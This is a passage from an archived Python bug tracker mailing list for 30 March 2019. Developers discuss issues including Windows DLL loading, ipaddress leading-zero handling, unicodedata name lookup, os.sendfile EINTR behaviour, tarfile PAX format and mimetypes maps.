                logger.info(msg, duration, *args, **kwargs)
        return ContextMonitor.sample(time.perfcounter, _log_slow_blocks)
    
    with log_if_slow(__name__, 'Took longer to run than expected: %.4g s'):
        ...

    
The question is whether anyone would actually find it easier to learn to use an API like ContextMonitor over just writing their own generator based context manager.

Depending on how familiar they are with the context management protocol, it's plausible that they would, as the construction API only asks a few questions:

* whether to use the same sampling function on entry and exit or different ones
* which sampling function(s) to use
* how to combine the two samples into a single result (defaulting to producing a two-tuple)
* whether to keep the results around for later retrieval (useful if you want to post-process the samples rather than dealing with them directly in the sample combination callback)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue19495>
_______________________________________

From report at bugs.python.org  Sat Mar 30 10:11:56 2019
From: report at bugs.python.org (Steve Dower)
Date: Sat, 30 Mar 2019 14:11:56 +0000
Subject: [issue36085] Enable better DLL resolution
In-Reply-To: <1550881737.58.0.129017089721.issue36085@roundup.psfhosted.org>
Message-ID: <1553955116.68.0.125621162772.issue36085@roundup.psfhosted.org>


Steve Dower <steve.dower at python.org> added the comment:

Acknowledging the buildbot failure at https://buildbot.python.org/all/#builders/12/builds/2181

I'll try and take a look today. Apparently Windows 8 has a slightly different understanding of the flags used in ctypes tests?

----------
nosy: +pablogsal, vstinner

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36085>
_______________________________________

From report at bugs.python.org  Sat Mar 30 10:41:13 2019
From: report at bugs.python.org (David Corbett)
Date: Sat, 30 Mar 2019 14:41:13 +0000
Subject: [issue36486] Bugs and inconsistencies in unicodedata
Message-ID: <1553956873.19.0.268771747568.issue36486@roundup.psfhosted.org>


New submission from David Corbett <corbett.dav at husky.neu.edu>:

In `unicodedata`, the functions `lookup` and `name` have some bugs and inconsistencies.

`lookup` matches case-insensitively, except for the algorithmic names of Hangul syllables and CJK unified ideographs, which must be in all caps. The documentation does not explain how character names are fuzzily matched.

`lookup` accepts names like ?CJK UNIFIED IDEOGRAPH-04E00?, where the code point has a leading zero.

`lookup` and `name` don?t implement rule NR2, defined in chapter 4 of Unicode, for Tangut ideographs? names.

----------
assignee: docs at python
components: Documentation, Unicode
messages: 339203
nosy: docs at python, dscorbett, ezio.melotti, vstinner
priority: normal
severity: normal
status: open
title: Bugs and inconsistencies in unicodedata
type: behavior
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36486>
_______________________________________

From report at bugs.python.org  Sat Mar 30 10:48:43 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Sat, 30 Mar 2019 14:48:43 +0000
Subject: [issue36486] Bugs and inconsistencies in unicodedata
In-Reply-To: <1553956873.19.0.268771747568.issue36486@roundup.psfhosted.org>
Message-ID: <1553957323.63.0.0545660762438.issue36486@roundup.psfhosted.org>


Change by Karthikeyan Singaravelan <tir.karthi at gmail.com>:


----------
nosy: +lemburg

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36486>
_______________________________________

From report at bugs.python.org  Sat Mar 30 10:53:51 2019
From: report at bugs.python.org (Nick Coghlan)
Date: Sat, 30 Mar 2019 14:53:51 +0000
Subject: [issue36384] ipaddress Should not reject IPv4 addresses with leading
 zeroes as ambiguously octal
In-Reply-To: <1553125209.55.0.0358803413865.issue36384@roundup.psfhosted.org>
Message-ID: <1553957631.51.0.500569985597.issue36384@roundup.psfhosted.org>


Nick Coghlan <ncoghlan at gmail.com> added the comment:


New changeset e653d4d8e820a7a004ad399530af0135b45db27a by Nick Coghlan (Joel Croteau) in branch 'master':
bpo-36384: Remove check for leading zeroes in IPv4 addresses (GH-12577)
https://github.com/python/cpython/commit/e653d4d8e820a7a004ad399530af0135b45db27a


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36384>
_______________________________________

From report at bugs.python.org  Sat Mar 30 10:57:36 2019
From: report at bugs.python.org (Nick Coghlan)
Date: Sat, 30 Mar 2019 14:57:36 +0000
Subject: [issue36384] ipaddress Should not reject IPv4 addresses with leading
 zeroes as ambiguously octal
In-Reply-To: <1553125209.55.0.0358803413865.issue36384@roundup.psfhosted.org>
Message-ID: <1553957856.8.0.607262995973.issue36384@roundup.psfhosted.org>


Nick Coghlan <ncoghlan at gmail.com> added the comment:

I've merged the change for Python 3.8 (thanks Joel!).

I'm not sure whether to classify it as an enhancement or as an interoperability bug fix, though, so I've put the status to pending and added Ned to the nosy list to get his thoughts as the Python 3.7 RM.

----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> pending

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36384>
_______________________________________

From report at bugs.python.org  Sat Mar 30 11:12:26 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Sat, 30 Mar 2019 15:12:26 +0000
Subject: [issue36384] ipaddress Should not reject IPv4 addresses with leading
 zeroes as ambiguously octal
In-Reply-To: <1553125209.55.0.0358803413865.issue36384@roundup.psfhosted.org>
Message-ID: <1553958746.67.0.450791573415.issue36384@roundup.psfhosted.org>


Change by Karthikeyan Singaravelan <tir.karthi at gmail.com>:


----------
nosy: +ned.deily
status: pending -> open

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36384>
_______________________________________

From report at bugs.python.org  Sat Mar 30 11:12:39 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Sat, 30 Mar 2019 15:12:39 +0000
Subject: [issue36384] ipaddress Should not reject IPv4 addresses with leading
 zeroes as ambiguously octal
In-Reply-To: <1553125209.55.0.0358803413865.issue36384@roundup.psfhosted.org>
Message-ID: <1553958759.74.0.240645438589.issue36384@roundup.psfhosted.org>


Change by Karthikeyan Singaravelan <tir.karthi at gmail.com>:


----------
status: open -> pending

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36384>
_______________________________________

From report at bugs.python.org  Sat Mar 30 11:44:32 2019
From: report at bugs.python.org (Ned Deily)
Date: Sat, 30 Mar 2019 15:44:32 +0000
Subject: [issue36384] ipaddress Should not reject IPv4 addresses with leading
 zeroes as ambiguously octal
In-Reply-To: <1553125209.55.0.0358803413865.issue36384@roundup.psfhosted.org>
Message-ID: <1553960672.73.0.856293099819.issue36384@roundup.psfhosted.org>


Ned Deily <nad at python.org> added the comment:

ipaddress is behaving as documented:

"The following constitutes a valid IPv4 address:

A string in decimal-dot notation, consisting of four decimal integers in the inclusive range 0?255, separated by dots (e.g. 192.168.0.1). Each integer represents an octet (byte) in the address. Leading zeroes are tolerated only for values less than 8 (as there is no ambiguity between the decimal and octal interpretations of such strings). [...]"

https://docs.python.org/3/library/ipaddress.html

I can sort of understand imposing that restriction in a Python 2 world where leading zeros implied octal and Python 3 outright rejects such forms of integers to avoid the ambiguity.  That said, there's no particular reason why the components of an IPv4 string acceptable to ipaddress *have* to follow the same rules so I'm +0 on making the change at all.  It's a bit of a stretch to consider it a bug when it appears to be behaving as documented but I would expect such a change to fix more problems than causing them so I'm OK if you want to backport it.

But, in any case, the documentation for 3.8 and/or 3.7 needs to be updated.

----------
keywords: +3.2regression -patch
resolution: fixed -> 
stage: resolved -> needs patch
status: pending -> open

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36384>
_______________________________________

From report at bugs.python.org  Sat Mar 30 11:55:46 2019
From: report at bugs.python.org (Steve Dower)
Date: Sat, 30 Mar 2019 15:55:46 +0000
Subject: [issue36085] Enable better DLL resolution
In-Reply-To: <1550881737.58.0.129017089721.issue36085@roundup.psfhosted.org>
Message-ID: <1553961346.88.0.290823343692.issue36085@roundup.psfhosted.org>


Change by Steve Dower <steve.dower at python.org>:


----------
pull_requests: +12564
stage: commit review -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36085>
_______________________________________

From report at bugs.python.org  Sat Mar 30 11:55:50 2019
From: report at bugs.python.org (Joannah Nanjekye)
Date: Sat, 30 Mar 2019 15:55:50 +0000
Subject: [issue36487] Make C-API docs clear about what the "main" interpreter
 is
Message-ID: <1553961350.55.0.679076430542.issue36487@roundup.psfhosted.org>


New submission from Joannah Nanjekye <nanjekyejoannah at gmail.com>:

Following up a discussion on a PR here : https://github.com/python/cpython/pull/12238, There is need to make sure the C-API docs are clear about what the "main" interpreter is.

----------
messages: 339207
nosy: nanjekyejoannah
priority: normal
severity: normal
status: open
title: Make C-API docs  clear about what the "main" interpreter is

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36487>
_______________________________________

From report at bugs.python.org  Sat Mar 30 11:56:18 2019
From: report at bugs.python.org (Joannah Nanjekye)
Date: Sat, 30 Mar 2019 15:56:18 +0000
Subject: [issue36487] Make C-API docs clear about what the "main" interpreter
 is
In-Reply-To: <1553961350.55.0.679076430542.issue36487@roundup.psfhosted.org>
Message-ID: <1553961378.65.0.520504171593.issue36487@roundup.psfhosted.org>


Change by Joannah Nanjekye <nanjekyejoannah at gmail.com>:


----------
assignee:  -> nanjekyejoannah

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36487>
_______________________________________

From report at bugs.python.org  Sat Mar 30 11:58:19 2019
From: report at bugs.python.org (Steve Dower)
Date: Sat, 30 Mar 2019 15:58:19 +0000
Subject: [issue36085] Enable better DLL resolution
In-Reply-To: <1550881737.58.0.129017089721.issue36085@roundup.psfhosted.org>
Message-ID: <1553961499.73.0.464282038611.issue36085@roundup.psfhosted.org>


Steve Dower <steve.dower at python.org> added the comment:

Pushed a potential fix, assuming there's something weird going on with relying on cwd rather than full paths (I know there's some weirdness here when paths get too long, for example).

Zach - this is one of your buildbots. Can we trigger a run from my branch? (As an aside, https://buildbot.python.org/all/#/builders?tags=custom.unstable&tags=custom.stable is currently showing no builders, but I'm not sure we have a custom one that matches the configuration here anyway.)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36085>
_______________________________________

From report at bugs.python.org  Sat Mar 30 12:07:43 2019
From: report at bugs.python.org (Joannah Nanjekye)
Date: Sat, 30 Mar 2019 16:07:43 +0000
Subject: [issue36157] Document PyInterpreterState_Main().
In-Reply-To: <1551458200.72.0.727788487318.issue36157@roundup.psfhosted.org>
Message-ID: <1553962063.34.0.614556163836.issue36157@roundup.psfhosted.org>


Joannah Nanjekye <nanjekyejoannah at gmail.com> added the comment:

I will work on this in a separate PR.

I opened #issue36487 (https://bugs.python.org/issue36487) to track this.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36157>
_______________________________________

From report at bugs.python.org  Sat Mar 30 12:15:02 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sat, 30 Mar 2019 16:15:02 +0000
Subject: [issue36384] ipaddress Should not reject IPv4 addresses with leading
 zeroes as ambiguously octal
In-Reply-To: <1553125209.55.0.0358803413865.issue36384@roundup.psfhosted.org>
Message-ID: <1553962502.08.0.69156646104.issue36384@roundup.psfhosted.org>


Serhiy Storchaka <storchaka+cpython at gmail.com> added the comment:

See also the article "Ping and FTP Resolve IP Address with Leading Zero as Octal" (https://web.archive.org/web/20061206211851/http://support.microsoft.com/kb/115388).

This is still true in Windows 10.

So it is safer to reject IPv4 addresses with leading zeros that can be ambiguously interpreted. Otherwise this can create a security hole.

----------
nosy: +serhiy.storchaka

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36384>
_______________________________________

From report at bugs.python.org  Sat Mar 30 12:16:17 2019
From: report at bugs.python.org (Eric V. Smith)
Date: Sat, 30 Mar 2019 16:16:17 +0000
Subject: [issue36384] ipaddress Should not reject IPv4 addresses with leading
 zeroes as ambiguously octal
In-Reply-To: <1553125209.55.0.0358803413865.issue36384@roundup.psfhosted.org>
Message-ID: <1553962577.63.0.552731534734.issue36384@roundup.psfhosted.org>


Eric V. Smith <eric at trueblade.com> added the comment:

I think it should be 3.8 only, and the docs should be updated. Apologies for not catching that earlier: I searched via Google, which was a mistake.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36384>
_______________________________________

From report at bugs.python.org  Sat Mar 30 12:32:08 2019
From: report at bugs.python.org (Steve Dower)
Date: Sat, 30 Mar 2019 16:32:08 +0000
Subject: [issue36010] Please provide a .zip Windows release of Python that is
 not crippled/for embedding only
In-Reply-To: <1550326820.19.0.863740875159.issue36010@roundup.psfhosted.org>
Message-ID: <1553963528.61.0.314378033181.issue36010@roundup.psfhosted.org>


Steve Dower <steve.dower at python.org> added the comment:


New changeset e724152796a5a41544f52054506c6c2248242a5d by Steve Dower (Paul Moore) in branch 'master':
bpo-36010: Add venv to the nuget distribution (GH-12367)
https://github.com/python/cpython/commit/e724152796a5a41544f52054506c6c2248242a5d


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36010>
_______________________________________

From report at bugs.python.org  Sat Mar 30 12:32:32 2019
From: report at bugs.python.org (miss-islington)
Date: Sat, 30 Mar 2019 16:32:32 +0000
Subject: [issue36010] Please provide a .zip Windows release of Python that is
 not crippled/for embedding only
In-Reply-To: <1550326820.19.0.863740875159.issue36010@roundup.psfhosted.org>
Message-ID: <1553963552.83.0.406270617034.issue36010@roundup.psfhosted.org>


Change by miss-islington <mariatta.wijaya+miss-islington at gmail.com>:


----------
pull_requests: +12565

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36010>
_______________________________________

From report at bugs.python.org  Sat Mar 30 12:45:40 2019
From: report at bugs.python.org (Zachary Ware)
Date: Sat, 30 Mar 2019 16:45:40 +0000
Subject: [issue36085] Enable better DLL resolution
In-Reply-To: <1550881737.58.0.129017089721.issue36085@roundup.psfhosted.org>
Message-ID: <1553964340.9.0.836682965649.issue36085@roundup.psfhosted.org>


Zachary Ware <zachary.ware at gmail.com> added the comment:

Try https://buildbot.python.org/all/#/builders?tags=%2Bcustom instead :)

You can trigger a build by pushing to the `buildbot-custom` branch and if need be I can grant you SSH or RDP access to that worker, just let me know.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36085>
_______________________________________

From report at bugs.python.org  Sat Mar 30 12:47:38 2019
From: report at bugs.python.org (Giampaolo Rodola')
Date: Sat, 30 Mar 2019 16:47:38 +0000
Subject: [issue36488] BSD/OSX: os.sendfile() does not return bytes sent on
 EINTR
Message-ID: <1553964458.43.0.741059488448.issue36488@roundup.psfhosted.org>


New submission from Giampaolo Rodola' <g.rodola at gmail.com>:

>From "man sendfile" on both OSX and FreeBSD:

<<[EINTR] A signal interrupted sendfile() before it could be completed. If specified, the number of bytes successfully sent will be returned in *len.>>

Right now we catch EINTR and simply retry. Instead we should only retry is no bytes were sent, else we should return those bytes, similarly to what we do on EAGAIN and EBUSY:
https://github.com/python/cpython/blob/2438cdf0e932a341c7613bf4323d06b91ae9f1f1/Modules/posixmodule.c#L8907-L8917

----------
components: Library (Lib)
messages: 339214
nosy: giampaolo.rodola
priority: normal
severity: normal
stage: needs patch
status: open
title: BSD/OSX: os.sendfile() does not return bytes sent on EINTR
versions: Python 3.6, Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36488>
_______________________________________

From report at bugs.python.org  Sat Mar 30 13:08:37 2019
From: report at bugs.python.org (Giampaolo Rodola')
Date: Sat, 30 Mar 2019 17:08:37 +0000
Subject: [issue36488] BSD/OSX: os.sendfile() does not return bytes sent on
 EINTR
In-Reply-To: <1553964458.43.0.741059488448.issue36488@roundup.psfhosted.org>
Message-ID: <1553965717.52.0.383057612993.issue36488@roundup.psfhosted.org>


Change by Giampaolo Rodola' <g.rodola at gmail.com>:


----------
nosy: +rosslagerwall

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36488>
_______________________________________

From report at bugs.python.org  Sat Mar 30 13:18:23 2019
From: report at bugs.python.org (Guido van Rossum)
Date: Sat, 30 Mar 2019 17:18:23 +0000
Subject: [issue36466] Adding a way to strip annotations from compiled bytecode
In-Reply-To: <1553929465.52.0.252168387725.issue36466@roundup.psfhosted.org>
Message-ID: <CAP7+vJ+kUy847L0efi2aSTnX_YU3_=tDEpcU=jCfy02n2=M9sQ@mail.gmail.com>


Guido van Rossum <guido at python.org> added the comment:

+1 from me. Looking for a better way to enable this from the command line.
Our alternative would be to maintain a local patch, since this definitely
helps us.

On Sat, Mar 30, 2019 at 12:04 AM Raymond Hettinger <report at bugs.python.org>
wrote:

>
> Raymond Hettinger <raymond.hettinger at gmail.com> added the comment:
>
> -0 At first blush, this seems reasonable. Like removing docstrings, it
> would make the bytecode more compact.  That said, annotations can be used
> for more things than typing (they predate typing and could be used for
> anything). It's unclear whether stripping them might break published
> modules that rely on the annotations being present.
>
> Leaving this feature request open so that it can gather more comments from
> the other devs.
>
> ----------
> nosy: +rhettinger
>
> _______________________________________
> Python tracker <report at bugs.python.org>
> <https://bugs.python.org/issue36466>
> _______________________________________
>
-- 
--Guido (mobile)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36466>
_______________________________________

From report at bugs.python.org  Sat Mar 30 13:36:23 2019
From: report at bugs.python.org (C.A.M. Gerlach)
Date: Sat, 30 Mar 2019 17:36:23 +0000
Subject: [issue30661] Support tarfile.PAX_FORMAT in shutil.make_archive
In-Reply-To: <1497403539.2.0.760105950979.issue30661@psf.upfronthosting.co.za>
Message-ID: <1553967383.82.0.528482741458.issue30661@roundup.psfhosted.org>


Change by C.A.M. Gerlach <CAM.Gerlach at Gerlach.CAM>:


----------
pull_requests: +12566
stage: needs patch -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue30661>
_______________________________________

From report at bugs.python.org  Sat Mar 30 13:36:23 2019
From: report at bugs.python.org (C.A.M. Gerlach)
Date: Sat, 30 Mar 2019 17:36:23 +0000
Subject: [issue36268] Change default tar format to modern POSIX 2001 (pax) for
 better portability/interop, support and standards conformance
In-Reply-To: <1552356868.22.0.356957543994.issue36268@roundup.psfhosted.org>
Message-ID: <1553967383.91.0.633134300187.issue36268@roundup.psfhosted.org>


Change by C.A.M. Gerlach <CAM.Gerlach at Gerlach.CAM>:


----------
pull_requests: +12567

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36268>
_______________________________________

From report at bugs.python.org  Sat Mar 30 13:54:02 2019
From: report at bugs.python.org (Steve Dower)
Date: Sat, 30 Mar 2019 17:54:02 +0000
Subject: [issue36085] Enable better DLL resolution
In-Reply-To: <1550881737.58.0.129017089721.issue36085@roundup.psfhosted.org>
Message-ID: <1553968442.54.0.952672550491.issue36085@roundup.psfhosted.org>


Steve Dower <steve.dower at python.org> added the comment:

Guess the link in the devguide needs fixing... I'm out for the next few hours but will give it a go when I'm back.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36085>
_______________________________________

From report at bugs.python.org  Sat Mar 30 14:29:48 2019
From: report at bugs.python.org (mental)
Date: Sat, 30 Mar 2019 18:29:48 +0000
Subject: [issue29553] Argparser does not display closing parentheses in nested
 mutex groups
In-Reply-To: <1487084393.73.0.392893421751.issue29553@psf.upfronthosting.co.za>
Message-ID: <1553970588.53.0.402816001594.issue29553@roundup.psfhosted.org>


mental <m3nta1 at yahoo.com> added the comment:

Can this issue be closed?

It's been inactive for a while and all it needs is a contributor to merge and close.

Seems to me it's been resolved with PRs 117 and 120, the difference between them being 120 drops the inner brackets for the format usage (imo 120 should be merged and 117 should be closed).

----------
nosy: +mental

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue29553>
_______________________________________

From report at bugs.python.org  Sat Mar 30 14:47:13 2019
From: report at bugs.python.org (C.A.M. Gerlach)
Date: Sat, 30 Mar 2019 18:47:13 +0000
Subject: [issue30661] Support tarfile.PAX_FORMAT in shutil.make_archive
In-Reply-To: <1497403539.2.0.760105950979.issue30661@psf.upfronthosting.co.za>
Message-ID: <1553971633.88.0.335638574412.issue30661@roundup.psfhosted.org>


C.A.M. Gerlach <CAM.Gerlach at Gerlach.CAM> added the comment:

I opened a PR to implement both those changes, and also added some minor related clarifications and fixes to the format section of the tarfile docs.

> how tarfile.Tarfile behaves if you tell it to open a PAX_FORMAT archive using GNU_FORMAT or vice-versa

I tested tarfile.Tarfile() and extract_all() on the resulting object with several different simple- to moderately-complex (including Unicode filenames) real-world pax- and GNU-format archives packed with different archivers, with both format=GNU_FORMAT and format=PAX_FORMAT for each one, got no warnings or errors with debug=3 and errorlevel=2, and extraction was successful and yielded identical results for either format argument, and did not get a PAXHEADERS file output for either one. Furthermore, tracing the code, its not clear that Tarfile() (with 'r') and extract, etc. use the passed `format`.

Even if so, in order to produce an error after this change but not before, all of the following would seem to have to be the case:

* The tarfile being read would have to be in GNU format, i.e. from an external source or produced with an older version of Python
* The tarfile would have to make use of specific extended/non-standard GNU tar features not tested above
* The user would have to use Tarfile() to open the tarfile, rather than one of the other, more common/higher-level methods
* The user's call to Tarfile() would have to have used DEFAULT_FORMAT rather than being explicitly specified. and implicitly relied DEFAULT_FORMAT == GNU_FORMAT

Therefore, this seems like a very specific corner-case. However, if you think I should include it, I'll go ahead with it. Also, let me know if these doc changes should have a separate NEWS entry or the previous one adequately covers it.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue30661>
_______________________________________

From report at bugs.python.org  Sat Mar 30 15:39:10 2019
From: report at bugs.python.org (Ned Deily)
Date: Sat, 30 Mar 2019 19:39:10 +0000
Subject: [issue36488] os.sendfile() on BSD OSs and macOS does not return bytes
 sent on EINTR
In-Reply-To: <1553964458.43.0.741059488448.issue36488@roundup.psfhosted.org>
Message-ID: <1553974750.25.0.864051695199.issue36488@roundup.psfhosted.org>


Change by Ned Deily <nad at python.org>:


----------
title: BSD/OSX: os.sendfile() does not return bytes sent on EINTR -> os.sendfile() on BSD OSs and macOS does not return bytes sent on EINTR
versions:  -Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36488>
_______________________________________

From report at bugs.python.org  Sat Mar 30 15:39:42 2019
From: report at bugs.python.org (Giampaolo Rodola')
Date: Sat, 30 Mar 2019 19:39:42 +0000
Subject: [issue36488] os.sendfile() on BSD and macOS does not return bytes
 sent on EINTR
In-Reply-To: <1553964458.43.0.741059488448.issue36488@roundup.psfhosted.org>
Message-ID: <1553974782.49.0.354927877577.issue36488@roundup.psfhosted.org>


Change by Giampaolo Rodola' <g.rodola at gmail.com>:


----------
title: os.sendfile() on BSD OSs and macOS does not return bytes sent on EINTR -> os.sendfile() on BSD and macOS does not return bytes sent on EINTR

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36488>
_______________________________________

From report at bugs.python.org  Sat Mar 30 15:59:35 2019
From: report at bugs.python.org (Eryk Sun)
Date: Sat, 30 Mar 2019 19:59:35 +0000
Subject: [issue36085] Enable better DLL resolution
In-Reply-To: <1550881737.58.0.129017089721.issue36085@roundup.psfhosted.org>
Message-ID: <1553975975.47.0.69294307874.issue36085@roundup.psfhosted.org>


Eryk Sun <eryksun at gmail.com> added the comment:

WinDLL('./_sqlite3.dll') succeeds, which just delays the call to GetFullPathNameW to the CDLL constructor, so I don't see how the working directory is a factor. The difference I see is the lack of the LOAD_LIBRARY_SEARCH_DEFAULT_DIRS flag. Try including the individual flags (i.e. LOAD_LIBRARY_SEARCH_SYSTEM32, LOAD_LIBRARY_SEARCH_APPLICATION_DIR, LOAD_LIBRARY_SEARCH_USER_DIRS) one by one until it works.

We could enable loader snaps in the registry for the Python executable; run it as a debugger; and log the debug output to see exactly what the loader is failing to find and where it's searching.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36085>
_______________________________________

From report at bugs.python.org  Sat Mar 30 16:03:16 2019
From: report at bugs.python.org (David Bolen)
Date: Sat, 30 Mar 2019 20:03:16 +0000
Subject: [issue36085] Enable better DLL resolution
In-Reply-To: <1550881737.58.0.129017089721.issue36085@roundup.psfhosted.org>
Message-ID: <1553976196.78.0.248142575948.issue36085@roundup.psfhosted.org>


David Bolen <db3l.net at gmail.com> added the comment:

I just wanted to acknowledge that this was breaking on my Windows 7 builder (with a bad DLL load parameter in both pythoninfo and test steps).

It looks like I was missing the required KB2533625 (the machine is mostly a virgin SP1 install), so I've installed that now.  I've restarted the most recent build and it's already past both previous error points successfully.

Windows 7 is clearly on the wane, but as there may still be other systems in a similar state as my worker, the new KB requirement for 3.8 should probably be documented with the release.

----------
nosy: +db3l

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36085>
_______________________________________

From report at bugs.python.org  Sat Mar 30 17:18:32 2019
From: report at bugs.python.org (Daniel Black)
Date: Sat, 30 Mar 2019 21:18:32 +0000
Subject: [issue36489] add filename_extension_map and/or content-types_map
 dict(s) to mimetypes
Message-ID: <1553980712.92.0.44378409883.issue36489@roundup.psfhosted.org>


New submission from Daniel Black <dyspop at gmail.com>:

In https://bugs.python.org/issue36460 (which should be probably be disregarded until AMP is in RFC) I discovered that the types_map dictionary within the mimetypes module is a key: str to key: str (1:1) relationship. The reality is that many filename extensions commonly support multiple content-types and even sub types. A more useful structure might look like:

(fne is "file name extension" aka foo)

{
  '.fne': ['type1/subtype', 'type2/subtype'],
  '.htm': ['text/html', 'text/css', 'text/javascript'],
  '.html': ['text/html', 'text/css', 'text/javascript']
} 

However this seems to compete with the functionality of the types map so another consideration is content-types_map where the content-type is the key and the pair values are lists of valid filename extensions:

{
  'audio/x-aiff': ['.aifc', '.aiff', '.au'],
  'text/html': ['.html', '.htm']
}

----------
messages: 339221
nosy: Daniel Black
priority: normal
severity: normal
status: open
title: add filename_extension_map and/or content-types_map dict(s) to mimetypes

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36489>
_______________________________________

From report at bugs.python.org  Sat Mar 30 17:24:29 2019
From: report at bugs.python.org (Steve Dower)
Date: Sat, 30 Mar 2019 21:24:29 +0000
Subject: [issue36085] Enable better DLL resolution
In-Reply-To: <1550881737.58.0.129017089721.issue36085@roundup.psfhosted.org>
Message-ID: <1553981069.49.0.71836940863.issue36085@roundup.psfhosted.org>


Steve Dower <steve.dower at python.org> added the comment:

Thanks for the info, David! I guess the update isn't part of SP1. I'll add a check to the installer and update the note in What's New.

Eryk - my thought on CWD was that the new process was not starting in the correct directory, which can sometimes happen. I just started the custom buildbots with my fix, so we'll see if it's that or something else.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36085>
_______________________________________

From report at bugs.python.org  Sat Mar 30 17:47:14 2019
From: report at bugs.python.org (Steve Dower)
Date: Sat, 30 Mar 2019 21:47:14 +0000
Subject: [issue36010] Please provide a .zip Windows release of Python that is
 not crippled/for embedding only
In-Reply-To: <1550326820.19.0.863740875159.issue36010@roundup.psfhosted.org>
Message-ID: <1553982434.85.0.959730630735.issue36010@roundup.psfhosted.org>


Steve Dower <steve.dower at python.org> added the comment:


New changeset 3e78c7c30553baf72b7eb6fe3384d88fff549906 by Steve Dower (Miss Islington (bot)) in branch '3.7':
bpo-36010: Add venv to the nuget distribution (GH-12367)
https://github.com/python/cpython/commit/3e78c7c30553baf72b7eb6fe3384d88fff549906


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36010>
_______________________________________

From report at bugs.python.org  Sat Mar 30 17:50:25 2019
From: report at bugs.python.org (Steve Dower)
Date: Sat, 30 Mar 2019 21:50:25 +0000
Subject: [issue36010] Please provide a .zip Windows release of Python that is
 not crippled/for embedding only
In-Reply-To: <1550326820.19.0.863740875159.issue36010@roundup.psfhosted.org>
Message-ID: <1553982625.15.0.0660979692735.issue36010@roundup.psfhosted.org>


Change by Steve Dower <steve.dower at python.org>:


----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36010>
_______________________________________

From report at bugs.python.org  Sat Mar 30 18:03:33 2019
From: report at bugs.python.org (jt)
Date: Sat, 30 Mar 2019 22:03:33 +0000
Subject: [issue36010] Please provide a .zip Windows release of Python that is
 not crippled/for embedding only
In-Reply-To: <1550326820.19.0.863740875159.issue36010@roundup.psfhosted.org>
Message-ID: <1553983413.91.0.863723498343.issue36010@roundup.psfhosted.org>


jt <jonas at thiem.email> added the comment:

Thank you so much for making it happen <3

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36010>
_______________________________________

From report at bugs.python.org  Sat Mar 30 18:05:59 2019
From: report at bugs.python.org (Steve Dower)
Date: Sat, 30 Mar 2019 22:05:59 +0000
Subject: [issue36085] Enable better DLL resolution
In-Reply-To: <1550881737.58.0.129017089721.issue36085@roundup.psfhosted.org>
Message-ID: <1553983559.61.0.884680966859.issue36085@roundup.psfhosted.org>


Change by Steve Dower <steve.dower at python.org>:


----------
pull_requests: +12568

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36085>
_______________________________________

From report at bugs.python.org  Sat Mar 30 18:15:18 2019
From: report at bugs.python.org (78)
Date: Sat, 30 Mar 2019 22:15:18 +0000
Subject: [issue36480] .strip() unexpected output on Windows
In-Reply-To: <1553907117.67.0.00902522254388.issue36480@roundup.psfhosted.org>
Message-ID: <CAP+xHDxsNQkueJMW6bi_-SC++uBGK_MWpeH5pWsT9RjMXUPAtw@mail.gmail.com>


78 <78alphadeviant at gmail.com> added the comment:

import binascii
import os
import re
import sys
import hashlib
import json
import codecs
import threading
import datetime
from multiprocessing.pool import ThreadPool

try:
    import PySimpleGUI_Custom as sg
except:
    import PySimpleGUI as sg
import time
import multiprocessing
import sys
import pathlib
import random
import io
from PIL import Image
import base64
import multiprocessing

t1 = time.time()
settings = json.load(open("{}settings.txt".format(home_), 'r'))
